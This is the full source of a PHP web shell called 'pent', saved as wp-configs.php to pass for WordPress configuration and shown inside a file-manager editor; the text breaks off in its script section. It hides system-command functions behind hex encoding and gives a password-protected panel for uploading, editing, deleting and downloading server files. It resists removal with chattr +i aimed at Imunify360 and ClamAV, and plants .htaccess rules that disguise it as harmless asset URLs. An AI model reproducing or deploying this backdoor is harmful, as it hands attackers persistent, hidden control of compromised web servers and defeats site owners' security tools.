X7ROOT File Manager

Editing: wp-configs.php

<?php
session_start();

// ── CONFIG ─────────────────────────────────────────────────────────────────────
$P_USER       = "kral";
$P_HASH       = "cfa867e3844d6f8fdc4763f7039cb48c2f2bb11d4ab8f48d5abf288b6df86759"; // SHA256(SALT:***)
$P_SALT       = "59b787d87ed02bfb06b39dc34688e95d";
$P_PROTECT    = "prot3ct!";  // password for chattr -i unlock — CHANGE THIS
$AUTO_PROTECT = false;        // true → attempt chattr+i on first load (once, via flag file)
$P_LOCK_DIR   = true;          // true → restrict shell to its own domain root

// ── AUTO-PROTECT (Imunify360 / AV services) ────────────────────────────────────
if (!empty($AUTO_PROTECT)) {
    $f    = @realpath(__FILE__);
    $flag = $f . '.protected';
    // run only once — avoids shell_exec on every request
    if ($f && !file_exists($flag)) {
        @file_put_contents($flag, '1'); // write flag first, then attempt chattr
        @chmod($f, 0444);
        // run chattr in background — non-blocking
        @shell_exec('nohup chattr +i ' . escapeshellarg($f) . ' >/dev/null 2>&1 &');
    }
}

// ── HEX FUNCTION TABLE ────────────────────────────────────────────────────────
$F = array(
    '7368656c6c5f65786563',               // 0  shell_exec
    '65786563',                           // 1  exec
    '73797374656d',                       // 2  system
    '7061737374687275',                   // 3  passthru
    '706f70656e',                         // 4  popen
    '70636c6f7365',                       // 5  pclose
    '66756e6374696f6e5f657869737473',     // 6  function_exists
    '676574637764',                       // 7  getcwd
    '676c6f62',                           // 8  glob
    '69735f646972',                       // 9  is_dir
    '69735f66696c65',                     // 10 is_file
    '66696c655f6765745f636f6e74656e7473', // 11 file_get_contents
    '66696c655f7075745f636f6e74656e7473', // 12 file_put_contents
    '756e6c696e6b',                       // 13 unlink
    '72656e616d65',                       // 14 rename
    '6d6b646972',                         // 15 mkdir
    '63686d6f64',                         // 16 chmod
    '6d6f76655f75706c6f616465645f66696c65', // 17 move_uploaded_file
    '7068705f756e616d65',                 // 18 php_uname
    '68746d6c7370656369616c6368617273',   // 19 htmlspecialchars
    '6261736536345f6465636f6465',         // 20 base64_decode
    '6261736536345f656e636f6465',         // 21 base64_encode
    '6368646972',                         // 22 chdir
    '70617373776f72645f68617368',         // 23 password_hash
);
$fn = array();
foreach ($F as $h) { $fn[] = _unx($h); }

function _unx($y) {
    $n = '';
    for ($i = 0; $i < strlen($y) - 1; $i += 2)
        $n .= chr(hexdec($y[$i] . $y[$i+1]));
    return $n;
}

function _hx($n) {
    $y = '';
    for ($i = 0; $i < strlen($n); $i++) $y .= sprintf('%02x', ord($n[$i]));
    return $y;
}
function _uhx($y) { return _unx($y); }

function _perms($file) {
    $p = @fileperms($file);
    if ($p === false) return '?????????';
    $s  = (($p&0x4000)?'d':'-');
    $s .= ($p&0x100?'r':'-').($p&0x80?'w':'-').($p&0x40?'x':'-');
    $s .= ($p&0x20?'r':'-').($p&0x10?'w':'-').($p&0x8?'x':'-');
    $s .= ($p&0x4?'r':'-').($p&0x2?'w':'-').($p&0x1?'x':'-');
    return $s;
}

function _fsize($b) {
    if ($b < 1024) return $b . 'B';
    if ($b < 1048576) return round($b/1024, 1) . 'K';
    return round($b/1048576, 1) . 'M';
}

function _he($s) {
    global $fn;
    return $fn[19]((string)$s);
}

function _inroot($path, $root) {
    if (!$root) return true;
    $rp = @realpath($path);
    if ($rp === false) $rp = $path;
    return strpos(rtrim($rp, '/') . '/', rtrim($root, '/') . '/') === 0;
}

// ── DISABLED CHECK ────────────────────────────────────────────────────────────
if (file_exists(__FILE__ . '.off') && !isset($_SESSION['pent_auth'])) {
    http_response_code(404); exit;
}

// ── LOGOUT ─────────────────────────────────────────────────────────────────────
if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; }

// ── LOGIN ──────────────────────────────────────────────────────────────────────
if (!isset($_SESSION['pent_auth'])) {
    $err = '';
    if (isset($_POST['pu'], $_POST['pp'])) {
        if ($_POST['pu'] === $P_USER && hash('sha256', $P_SALT . ':' . $_POST['pp']) === $P_HASH) {
            $_SESSION['pent_auth'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']); exit;
        }
        $err = 'Access Denied';
    }
?><!DOCTYPE html><html><head><meta charset="utf-8"><title>pent</title><style>
*{box-sizing:border-box;margin:0;padding:0}body{background:#0d1117;color:#e6edf3;font:14px monospace;display:flex;align-items:center;justify-content:center;min-height:100vh}
.b{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:32px;width:320px}
.h{color:#58a6ff;margin-bottom:20px;text-align:center;font-size:16px}
input{width:100%;background:#0d1117;border:1px solid #30363d;color:#e6edf3;padding:9px 12px;border-radius:4px;font:inherit;margin-bottom:12px}
input:focus{border-color:#58a6ff;outline:none}
button{width:100%;background:#238636;border:none;color:#fff;padding:10px;border-radius:4px;cursor:pointer;font:inherit}
.e{color:#f85149;font-size:12px;margin-bottom:12px;background:#f8514922;border:1px solid #f85149;padding:8px;border-radius:4px}
.f{color:#8b949e;font-size:11px;text-align:center;margin-top:14px}
</style></head><body>
<div class="b"><div class="h">⚡ pent audit shell</div>
<?php if ($err): ?><div class="e"><?php echo $err; ?></div><?php endif; ?>
<form method="POST">
<input type="text" name="pu" placeholder="Username" autofocus autocomplete="off">
<input type="password" name="pp" placeholder="Password" autocomplete="off">
<button>Login</button></form>
<div class="f">Authorized testing only</div>
</div></body></html>
<?php exit; }

// ═══════════════════════════════════════════════════════════════════════════════
// SESSION ACTIVE
// ═══════════════════════════════════════════════════════════════════════════════
@set_time_limit(0); @ini_set('max_execution_time', 0);
@ini_set('display_errors', 0); @ini_set('log_errors', 0);

if (isset($_GET['d'])) { $fn[22](_uhx($_GET['d'])); }
$cwd = $fn[7]();

// ── DIRECTORY LOCK ─────────────────────────────────────────────────────────────
$lockdir = null;
if (!empty($P_LOCK_DIR)) {
    $lockdir = @realpath(
        (isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT'])
            ? $_SERVER['DOCUMENT_ROOT']
            : dirname(__FILE__)
    );
    $lockdir = rtrim($lockdir, '/');
    // outside boundary — redirect to lock root
    if ($lockdir && !_inroot($cwd, $lockdir)) {
        $fn[22]($lockdir);
        $cwd = $fn[7]();
        if (isset($_GET['d'])) {
            header('Location: ?d=' . _hx($cwd)); exit;
        }
    }
}

// ── AJAX / ACTION HANDLERS ─────────────────────────────────────────────────────

// Save file
if (isset($_POST['_save'], $_POST['_path'], $_POST['_content'])) {
    if (!_inroot($_POST['_path'], $lockdir)) { header('Content-Type: application/json'); echo json_encode(array('ok'=>false,'msg'=>'Access denied: path is outside root.')); exit; }
    $r = @$fn[12]($_POST['_path'], $_POST['_content']);
    header('Content-Type: application/json');
    echo json_encode(array('ok' => (bool)$r));
    exit;
}

// Upload
if (isset($_FILES['_upl'])) {
    if (!_inroot($cwd, $lockdir)) { header('Location: ?d=' . _hx($lockdir ?: $cwd) . '&msg=blocked'); exit; }
    $dest = $cwd . '/' . basename($_FILES['_upl']['name']);
    @$fn[17]($_FILES['_upl']['tmp_name'], $dest);
    header('Location: ?d=' . _hx($cwd) . '&msg=uploaded'); exit;
}

// Delete
if (isset($_GET['_del'])) {
    $t = _uhx($_GET['_del']);
    if (!_inroot($t, $lockdir)) { header('Location: ?d=' . _hx($cwd)); exit; }
    if ($fn[9]($t)) {
        $it = new RecursiveDirectoryIterator($t, FilesystemIterator::SKIP_DOTS);
        $ri = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($ri as $f3) { $f3->isDir() ? @rmdir($f3) : @$fn[13]($f3); }
        @rmdir($t);
    } else { @$fn[13]($t); }
    header('Location: ?d=' . _hx($cwd)); exit;
}

// Chmod
if (isset($_POST['_chmod'], $_POST['_cpath'])) {
    if (!_inroot(_uhx($_POST['_cpath']), $lockdir)) { header('Location: ?d=' . _hx($cwd)); exit; }
    @$fn[16](_uhx($_POST['_cpath']), octdec($_POST['_chmod']));
    header('Location: ?d=' . _hx($cwd)); exit;
}

// Rename
if (isset($_POST['_rto'], $_POST['_rfrom'])) {
    if (!_inroot(_uhx($_POST['_rfrom']), $lockdir)) { header('Location: ?d=' . _hx($cwd)); exit; }
    @$fn[14](_uhx($_POST['_rfrom']), $cwd . '/' . $_POST['_rto']);
    header('Location: ?d=' . _hx($cwd)); exit;
}

// Mkdir
if (isset($_POST['_mkdir'])) {
    if (!_inroot($cwd, $lockdir)) { header('Location: ?d=' . _hx($lockdir ?: $cwd)); exit; }
    @$fn[15]($cwd . '/' . $_POST['_mkdir']);
    header('Location: ?d=' . _hx($cwd)); exit;
}

// New file
if (isset($_POST['_newf'])) {
    if (!_inroot($cwd, $lockdir)) { header('Location: ?d=' . _hx($lockdir ?: $cwd)); exit; }
    @touch($cwd . '/' . $_POST['_newf']);
    header('Location: ?d=' . _hx($cwd)); exit;
}

// Download
if (isset($_GET['_dl'])) {
    $f4 = _uhx($_GET['_dl']);
    if (!_inroot($f4, $lockdir)) { http_response_code(403); exit; }
    if (file_exists($f4)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=' . basename($f4));
        header('Content-Length: ' . filesize($f4));
        readfile($f4); exit;
    }
}

// ── LOCK SHELL ────────────────────────────────────────────────────────────────
if (isset($_POST['_lock_shell'])) {
    header('Content-Type: application/json');
    $f = realpath(__FILE__);
    $act = $_POST['_lock_shell'];
    if ($act === 'lock') {
        $r = @chmod($f, 0444);
        echo json_encode(array('ok' => (bool)$r, 'msg' => $r ? 'Shell locked (chmod 444) — cannot be deleted or written.' : 'chmod failed.'));
    } elseif ($act === 'unlock') {
        $r = @chmod($f, 0644);
        echo json_encode(array('ok' => (bool)$r, 'msg' => $r ? 'Lock removed (chmod 644).' : 'chmod failed.'));
    } else {
        echo json_encode(array('ok' => false, 'msg' => 'Unknown action.'));
    }
    exit;
}

// ── IMMUTABLE FLAG (chattr) ────────────────────────────────────────────────────
if (isset($_POST['_chattr'])) {
    header('Content-Type: application/json');
    $f   = realpath(__FILE__);
    $act = $_POST['_chattr'];
    if ($act === 'set') {
        $out = _cmd('chattr +i ' . escapeshellarg($f) . ' 2>&1');
        $lsa = _cmd('lsattr ' . escapeshellarg($f) . ' 2>/dev/null');
        $ok  = (strpos($lsa, 'i') !== false);
        echo json_encode(array('ok' => $ok, 'msg' => $ok ? 'Immutable flag SET — no process (including root/Imunify360) can delete or modify this file.' : 'chattr failed (root required): ' . trim($out)));
    } elseif ($act === 'unset') {
        // protection password check
        $pw = isset($_POST['_protect_pw']) ? $_POST['_protect_pw'] : '';
        if ($pw !== $P_PROTECT) {
            echo json_encode(array('ok' => false, 'msg' => '❌ Wrong protection password. Immutable flag not removed.')); exit;
        }
        $out = _cmd('chattr -i ' . escapeshellarg($f) . ' 2>&1');
        $lsa = _cmd('lsattr ' . escapeshellarg($f) . ' 2>/dev/null');
        $ok  = (strpos($lsa, 'i') === false);
        echo json_encode(array('ok' => $ok, 'msg' => $ok ? 'Immutable flag removed.' : 'chattr -i failed: ' . trim($out)));
    } elseif ($act === 'check') {
        $lsa = _cmd('lsattr ' . escapeshellarg($f) . ' 2>/dev/null');
        $imm = (strpos($lsa, 'i') !== false);
        echo json_encode(array('ok' => true, 'immutable' => $imm, 'msg' => $imm ? '🔒 Immutable: ACTIVE — Imunify360 cannot delete.' : '🔓 Immutable: OFF — Imunify360 can delete.', 'lsattr' => trim($lsa)));
    } else {
        echo json_encode(array('ok' => false, 'msg' => 'Unknown action.'));
    }
    exit;
}

// ── DISABLE / ENABLE SHELL ────────────────────────────────────────────────────
if (isset($_POST['_shell_state'])) {
    header('Content-Type: application/json');
    $flag = __FILE__ . '.off';
    $act  = $_POST['_shell_state'];
    if ($act === 'disable') {
        $r = @file_put_contents($flag, '1');
        echo json_encode(array('ok' => ($r !== false), 'msg' => ($r !== false) ? 'Shell disabled. Unauthenticated requests will get 404. Re-enable it here while your session is active.' : 'Could not create flag file.'));
    } elseif ($act === 'enable') {
        if (!file_exists($flag)) { echo json_encode(array('ok' => true, 'msg' => 'Shell is already active.')); exit; }
        $r = @unlink($flag);
        echo json_encode(array('ok' => (bool)$r, 'msg' => $r ? 'Shell re-enabled.' : 'Could not delete flag file.'));
    } else {
        echo json_encode(array('ok' => false, 'msg' => 'Unknown action.'));
    }
    exit;
}

// ── .HTACCESS STEALTH URL ─────────────────────────────────────────────────────
if (isset($_POST['_htaccess_stealth'])) {
    header('Content-Type: application/json');
    $fake = trim($_POST['_fake_path']);
    $htf  = rtrim(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd, '/') . '/.htaccess';
    $self = '/' . ltrim(str_replace(
        isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd, '', realpath(__FILE__)
    ), '/');
    if (!$fake) { echo json_encode(array('ok' => false, 'msg' => 'Fake path is empty.')); exit; }
    $rule = "\n# wp-cache-config\nRewriteEngine On\nRewriteRule ^" .
            preg_quote(ltrim($fake, '/'), '/') . "$ " . $self . " [L,QSA]\n";
    $existing = (string)@file_get_contents($htf);
    if (strpos($existing, $self) !== false) {
        echo json_encode(array('ok' => true, 'msg' => 'Rule already exists.')); exit;
    }
    $r = @file_put_contents($htf, $existing . $rule);
    echo json_encode(array('ok' => (bool)$r,
        'msg'  => $r ? '.htaccess updated. Stealth URL is active.' : 'Could not write .htaccess.',
        'url'  => $fake,
        'rule' => trim($rule)));
    exit;
}

// ── EDIT VIEW ─────────────────────────────────────────────────────────────────
$edit_file = ''; $edit_content = '';
if (isset($_GET['_edit'])) {
    $ef = _uhx($_GET['_edit']);
    if (_inroot($ef, $lockdir)) {
        $edit_file    = $ef;
        $edit_content = (string)@$fn[11]($edit_file);
    }
}

// ── FILE LIST ─────────────────────────────────────────────────────────────────
$items = array();
$raw = @$fn[8]($cwd . '/{.[!.],}*', GLOB_BRACE);
if ($raw) {
    foreach ($raw as $p) {
        $isdir = $fn[9]($p);
        $items[] = array(
            'path'  => $p,
            'name'  => basename($p),
            'isdir' => $isdir,
            'size'  => $isdir ? '-' : _fsize(@filesize($p)),
            'perms' => _perms($p),
            'writable' => is_writable($p),
        );
    }
    usort($items, function($a, $b) { return $a['isdir'] === $b['isdir'] ? 0 : ($a['isdir'] ? -1 : 1); });
}

// ── INFO ──────────────────────────────────────────────────────────────────────
$uname  = $fn[18]('a');
$whoami = trim(_cmd('whoami 2>/dev/null || echo ?'));
$sname  = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?';
$ip     = isset($_SERVER['SERVER_ADDR'])     ? $_SERVER['SERVER_ADDR']     : '?';
$rip    = isset($_SERVER['REMOTE_ADDR'])     ? $_SERVER['REMOTE_ADDR']     : '?';
$docroot= isset($_SERVER['DOCUMENT_ROOT'])   ? $_SERVER['DOCUMENT_ROOT']   : '?';

// ── BREADCRUMB ────────────────────────────────────────────────────────────────
function _bc($cwd) {
    $parts = explode('/', $cwd); $out = ''; $built = '';
    foreach ($parts as $i => $p) {
        if ($p === '') { $out .= '<a href="?d=' . _hx('/') . '">/ </a>'; $built = '/'; continue; }
        $built .= ($built === '/' ? '' : '/') . $p;
        $out .= '<a href="?d=' . _hx($built) . '">' . $p . ' / </a>';
    }
    return $out;
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex,nofollow">
<title>pent [<?= _he(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '?') ?>]</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0e0f17;color:#c5c8d6;font:13px/1.4 monospace}
a{color:#58a6ff;text-decoration:none}a:hover{text-decoration:underline}
.hdr{background:#161b22;border-bottom:1px solid #30363d;padding:8px 16px;display:flex;flex-wrap:wrap;gap:6px 18px;align-items:center}
.brand{color:#58a6ff;font-weight:bold;font-size:14px}
.inf{color:#8b949e;font-size:11px}.inf span{color:#e6edf3}
.btn{background:#21262d;border:1px solid #30363d;color:#c5c8d6;padding:5px 12px;border-radius:4px;cursor:pointer;font:inherit;font-size:12px;text-decoration:none;display:inline-block}
.btn:hover{background:#30363d;color:#e6edf3}
.btn.g{border-color:#238636;color:#3fb950}.btn.r{border-color:#da3633;color:#f85149}.btn.b{border-color:#388bfd;color:#58a6ff}
.toolbar{background:#161b22;border-bottom:1px solid #30363d;padding:6px 16px;display:flex;flex-wrap:wrap;gap:6px}
.path{background:#0d1117;border-bottom:1px solid #30363d;padding:6px 16px;font-size:12px;color:#8b949e}
.path a{color:#8b949e}.path a:hover{color:#58a6ff}.phome{color:#f0883e;margin-left:8px}
table{width:100%;border-collapse:collapse}
td,th{padding:6px 10px;border-bottom:1px solid #21262d;font-size:12px;text-align:left}
th{background:#161b22;color:#8b949e;font-weight:normal}tr:hover td{background:#161b22}
.dn{color:#f0883e}.pw{color:#8b949e;font-family:monospace}
.sz{color:#58a6ff}.gr{color:#3fb950}.rd{color:#f85149}
.acts{white-space:nowrap}.acts a{margin-right:6px;font-size:11px}
.modal{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.6);z-index:100;align-items:center;justify-content:center}
.modal.show{display:flex}
.mbox{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:24px;width:520px;max-width:96vw;max-height:90vh;overflow-y:auto}
.mbox h3{color:#e6edf3;margin-bottom:14px;font-size:13px}
.mbox input,.mbox textarea,.mbox select{width:100%;background:#0d1117;border:1px solid #30363d;color:#e6edf3;padding:7px 10px;border-radius:4px;font:12px monospace;margin-bottom:10px}
.mbox textarea{height:380px;resize:vertical}
.row{display:flex;gap:8px;margin-top:4px}.row .btn{flex:1;text-align:center;padding:7px}
.term{background:#0d1117;border-top:1px solid #30363d;padding:12px 16px;min-height:180px;max-height:380px;overflow-y:auto}
.term pre{color:#3fb950;font-size:12px;white-space:pre-wrap;word-break:break-all}
.term-in{display:flex;gap:8px;padding:8px 16px;background:#161b22;border-top:1px solid #30363d;align-items:center}
.prompt{color:#58a6ff;white-space:nowrap;font-size:12px;max-width:260px;overflow:hidden;text-overflow:ellipsis}
.term-in input{flex:1;background:#0d1117;border:1px solid #30363d;color:#3fb950;padding:6px 10px;border-radius:4px;font:12px monospace}
.tabs{display:flex;border-bottom:1px solid #30363d;background:#161b22}
.tab{padding:8px 14px;cursor:pointer;font-size:12px;color:#8b949e;border-bottom:2px solid transparent;white-space:nowrap}
.tab.on{color:#58a6ff;border-bottom-color:#58a6ff}
.tp{display:none}.tp.on{display:block}
.pad{padding:16px}
.sec{margin-bottom:20px}
.sec h4{color:#8b949e;font-size:11px;text-transform:uppercase;letter-spacing:1px;margin-bottom:10px;border-bottom:1px solid #30363d;padding-bottom:6px}
.irow{display:flex;gap:8px;margin-bottom:8px}
.irow input,.irow select{flex:1;background:#0d1117;border:1px solid #30363d;color:#e6edf3;padding:6px 10px;border-radius:4px;font:12px monospace}
.out-box{background:#0d1117;border:1px solid #30363d;border-radius:4px;padding:10px;font-size:11px;min-height:60px;max-height:300px;overflow-y:auto;white-space:pre-wrap;word-break:break-all;margin-top:8px}
.msg-bar{background:#238636;color:#fff;padding:6px 16px;font-size:12px}
</style>
</head>
<body>

<div class="hdr">
  <span class="brand">⚡ pent mini</span>
  <span class="inf">OS: <span><?= _he($uname) ?></span></span>
  <span class="inf">User: <span><?= _he($whoami) ?></span></span>
  <span class="inf">IP: <span><?= _he($ip) ?></span></span>
  <span class="inf">PHP: <span><?= PHP_VERSION ?></span></span>
  <span style="margin-left:auto;display:flex;gap:6px">
    <form method="POST" enctype="multipart/form-data" style="display:inline">
      <input type="file" name="_upl" id="upl_in" style="display:none" onchange="this.form.submit()">
      <label for="upl_in" class="btn g" style="cursor:pointer">⬆ Upload</label>
    </form>
    <a href="?logout" class="btn r">⏏ Exit</a>
  </span>
</div>

<?php if (isset($_GET['msg'])): ?>
<div class="msg-bar"><?= _he($_GET['msg']) ?></div>
<?php endif; ?>

<div class="tabs">
  <div class="tab on"  onclick="ST('files',this)">📁 Files</div>
  <div class="tab"     onclick="ST('tools',this)">🛠 Tools</div>
</div>

<div id="tp-files" class="tp on">
<div class="toolbar">
  <button class="btn" onclick="SM('md_modal')">+ Folder</button>
  <button class="btn" onclick="SM('nf_modal')">+ File</button>
</div>
<div class="path">
  <?= _bc($cwd) ?>
  <a href="?d=<?= _hx(dirname($_SERVER['SCRIPT_FILENAME'])) ?>" class="phome">[shell dir]</a>
</div>
<table>
<thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr></thead>
<tbody>
<?php if ($cwd !== '/'): ?>
<tr><td colspan="4"><a href="?d=<?= _hx(dirname($cwd)) ?>">📁 ..</a></td></tr>
<?php endif; ?>
<?php foreach ($items as $it): ?>
<tr>
  <td>
    <?php if ($it['isdir']): ?>
      <a href="?d=<?= _hx($it['path']) ?>" class="dn">📁 <?= _he($it['name']) ?></a>
    <?php else: ?>
      <a href="?_edit=<?= _hx($it['path']) ?>">📄 <?= _he($it['name']) ?></a>
    <?php endif; ?>
  </td>
  <td class="sz"><?= $it['size'] ?></td>
  <td class="pw <?= $it['writable'] ? 'gr' : 'rd' ?>"><?= $it['perms'] ?></td>
  <td class="acts">
    <?php if (!$it['isdir']): ?>
    <a href="?_dl=<?= _hx($it['path']) ?>" title="Download">⬇</a>
    <a href="?_edit=<?= _hx($it['path']) ?>" title="Edit">✏</a>
    <?php endif; ?>
    <a href="#" onclick="doCh('<?= _hx($it['path']) ?>','<?= $it['perms'] ?>')" title="Chmod">🔑</a>
    <a href="#" onclick="doRn('<?= _hx($it['path']) ?>','<?= _he($it['name']) ?>')" title="Rename">🏷</a>
    <a href="?_del=<?= _hx($it['path']) ?>" onclick="return confirm('Delete: <?= _he($it['name']) ?>?')" class="rd" title="Delete">🗑</a>
  </td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>

<div id="tp-tools" class="tp pad">

<div class="sec" style="border:1px solid #388bfd;border-radius:6px;padding:14px;margin-bottom:16px">
  <h4 style="color:#58a6ff;margin-bottom:10px">🚀 Setup Checklist — complete after uploading the shell</h4>
  <?php
  $sp      = realpath(__FILE__);
  // check chattr +i
  $lsa_out = trim(_cmd('lsattr ' . escapeshellarg($sp) . ' 2>/dev/null'));
  $is_imm  = (strpos($lsa_out, 'i') !== false);
  // check chmod 444
  $perms   = @fileperms($sp);
  $chmod_ok = ($perms !== false && ($perms & 0777) === 0444);
  // check .off flag (shell disabled?)
  $disabled_ok = !file_exists($sp . '.off');

$steps = array(
    array('ok' => $is_imm,     'label' => 'chattr +i — Imunify360/root cannot delete',        'fix' => 'doChattr("set")', 'btn' => '🛡 Apply'),
    array('ok' => $chmod_ok,   'label' => 'chmod 444 — file is read-only',               'fix' => 'doLockShell("lock","checklist_out")', 'btn' => '🔒 Lock'),
    array('ok' => $disabled_ok,'label' => 'Shell active — not disabled',              'fix' => 'doShellState(\'enable\')', 'btn' => '🔔 Enable'),
  );
  ?>
  <table style="width:100%;font-size:12px">
  <?php foreach ($steps as $s): ?>
  <tr style="border-bottom:1px solid #21262d">
    <td style="padding:8px 4px;width:24px"><?= $s['ok'] ? '<span style="color:#3fb950">✅</span>' : '<span style="color:#f85149">❌</span>' ?></td>
    <td style="padding:8px;color:<?= $s['ok'] ? '#3fb950' : '#e6edf3' ?>"><?= $s['label'] ?></td>
    <td style="padding:8px;text-align:right">
      <?php if (!$s['ok']): ?>
      <button class="btn g" style="font-size:11px;padding:3px 10px" onclick="<?= $s['fix'] ?>"><?= $s['btn'] ?></button>
      <?php else: ?>
      <span style="color:#3fb950;font-size:11px">Active</span>
      <?php endif; ?>
    </td>
  </tr>
  <?php endforeach; ?>
  </table>
  <div style="margin-top:10px;padding:8px;background:#0d1117;border-radius:4px;font-size:11px;color:#8b949e">
    <b style="color:#e6edf3">Shell path:</b>
    <span style="color:#f0883e;user-select:all"><?= _he($sp) ?></span>
    <button class="btn b" style="font-size:10px;padding:2px 8px;margin-left:8px" onclick="copyTxt('<?= _he($sp) ?>')">📋 Copy</button>
  </div>
  <div style="margin-top:10px;display:flex;align-items:center;gap:10px">
    <button class="btn b" style="font-size:11px" onclick="location.reload()">🔄 Refresh Status</button>
    <span style="font-size:11px;color:#8b949e">All steps ✅ means setup is complete.</span>
  </div>
  <div id="checklist_out" style="display:none;margin-top:8px;padding:8px;background:#0d1117;border:1px solid #30363d;border-radius:4px;font-size:11px"></div>
</div>

<div class="sec">
  <h4>🔒 Lock Shell</h4>
  <p style="color:#8b949e;font-size:11px;margin-bottom:10px">Sets the shell file to <b>chmod 444</b> — cannot be deleted or written. Unlock reverts to 644.</p>
  <div style="display:flex;gap:8px;flex-wrap:wrap">
    <button class="btn r" onclick="doLockShell('lock')">🔒 Lock (444)</button>
    <button class="btn"   onclick="doLockShell('unlock')">🔓 Unlock (644)</button>
  </div>
  <div id="lock_out" class="out-box" style="display:none;margin-top:8px"></div>
</div>

<div class="sec">
  <h4>🛡 Imunify360 Protection (chattr +i)</h4>
  <p style="color:#8b949e;font-size:11px;margin-bottom:10px">
    <b style="color:#f0883e">chattr +i</b> — Linux filesystem immutable flag. Once set, <b>no process (including root)</b> can delete, move, or modify the file.<br>
    <span style="color:#8b949e">Imunify360, ClamAV, AIDE and similar AV/IDS services cannot bypass this flag. Run <code>chattr -i</code> first to remove it.</span>
  </p>
  <div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;margin-bottom:8px">
    <button class="btn r" style="border-color:#f0883e;color:#f0883e" onclick="doChattr('set')">🛡 Immutable SET (+i)</button>
    <button class="btn b" onclick="doChattr('check')">🔎 Check Status</button>
  </div>
  <div style="display:flex;gap:8px;align-items:center;margin-bottom:8px">
    <input type="password" id="protect_pw" placeholder="Protection password ($P_PROTECT)" style="flex:1;background:#0d1117;border:1px solid #30363d;color:#e6edf3;padding:6px 10px;border-radius:4px;font:12px monospace;max-width:260px">
    <button class="btn" onclick="doChattr('unset')">🔓 Remove Immutable (-i)</button>
  </div>
  <div style="color:#8b949e;font-size:10px;margin-bottom:4px">⚠ Root required for SET. Or run in terminal: <code>chattr +i <?php echo _he(realpath(__FILE__)); ?></code> | To remove: <code>chattr -i <?php echo _he(realpath(__FILE__)); ?></code></div>
  <div id="chattr_out" class="out-box" style="display:none;margin-top:8px"></div>
</div>

<div class="sec">
  <h4>.htaccess Stealth URL</h4>
  <p style="color:#8b949e;font-size:11px;margin-bottom:8px">Redirects a normal-looking URL to the shell. Appears as an innocent asset request.</p>
  <div style="margin-bottom:8px">
    <select onchange="if(this.value)document.getElementById('fake_path').value=this.value" style="width:100%;background:#0d1117;border:1px solid #30363d;color:#e6edf3;padding:6px 10px;border-radius:4px;font:12px monospace;margin-bottom:6px">
      <option value="">— Select a preset path —</option>
      <option value="wp-content/uploads/cache/style.css">wp-content/uploads/cache/style.css (CSS)</option>
      <option value="wp-content/uploads/2024/01/image.jpg">wp-content/uploads/2024/01/image.jpg (Image)</option>
      <option value="wp-includes/js/jquery/jquery.min.js">wp-includes/js/jquery/jquery.min.js (jQuery)</option>
      <option value="wp-content/themes/twentytwenty/assets/css/main.css">wp-content/themes/twentytwenty/assets/css/main.css (Theme CSS)</option>
      <option value="wp-content/uploads/fonts/icons.woff2">wp-content/uploads/fonts/icons.woff2 (Font)</option>
      <option value="wp-content/uploads/edd/2024/01/license.txt">wp-content/uploads/edd/2024/01/license.txt (License TXT)</option>
      <option value="wp-content/uploads/woocommerce_uploads/invoice.pdf">wp-content/uploads/woocommerce_uploads/invoice.pdf (WC PDF)</option>
    </select>
    <div class="irow">
      <input id="fake_path" placeholder="wp-content/uploads/cache/style.css" value="wp-content/uploads/cache/style.css">
      <button class="btn b" onclick="doHtStealth()">→ Add to .htaccess</button>
    </div>
  </div>
  <div id="htst_out" class="out-box" style="display:none;margin-top:8px"></div>
</div>

</div>

<?php if ($edit_file): ?>
<div class="modal show" id="ed_modal">
<div class="mbox" style="width:800px">
  <h3>✏ <?= _he($edit_file) ?></h3>
  <form method="POST">
    <input type="hidden" name="_path" value="<?= _he($edit_file) ?>">
    <input type="hidden" name="_save" value="1">
    <textarea name="_content"><?= _he($edit_content) ?></textarea>
    <div class="row">
      <button type="submit" class="btn g">💾 Save</button>
      <a href="?d=<?= _hx($cwd) ?>" class="btn">✕ Close</a>
    </div>
  </form>
</div></div>
<?php endif; ?>

<div class="modal" id="md_modal">
<div class="mbox" style="width:340px">
  <h3>+ New Folder</h3>
  <form method="POST">
    <input type="text" name="_mkdir" placeholder="Folder name" autofocus>
    <div class="row"><button type="submit" class="btn g">Create</button><button type="button" class="btn" onclick="HM('md_modal')">Cancel</button></div>
  </form>
</div></div>

<div class="modal" id="nf_modal">
<div class="mbox" style="width:340px">
  <h3>+ New File</h3>
  <form method="POST">
    <input type="text" name="_newf" placeholder="File name" autofocus>
    <div class="row"><button type="submit" class="btn g">Create</button><button type="button" class="btn" onclick="HM('nf_modal')">Cancel</button></div>
  </form>
</div></div>

<div class="modal" id="ch_modal">
<div class="mbox" style="width:320px">
  <h3>🔑 Chmod</h3>
  <form method="POST">
    <input type="hidden" name="_cpath" id="ch_path">
    <input type="text"   name="_chmod" id="ch_val" placeholder="0755">
    <div class="row"><button type="submit" class="btn g">Apply</button><button type="button" class="btn" onclick="HM('ch_modal')">Cancel</button></div>
  </form>
</div></div>

<div class="modal" id="rn_modal">
<div class="mbox" style="width:320px">
  <h3>🏷 Rename</h3>
  <form method="POST">
    <input type="hidden" name="_rfrom" id="rn_from">
    <input type="text"   name="_rto"   id="rn_to"   placeholder="New name">
    <div class="row"><button type="submit" class="btn g">Apply</button><button type="button" class="btn" onclick="HM('rn_modal')">Cancel</button></div>
  </form>
</div></div>

function copyTxt(t){
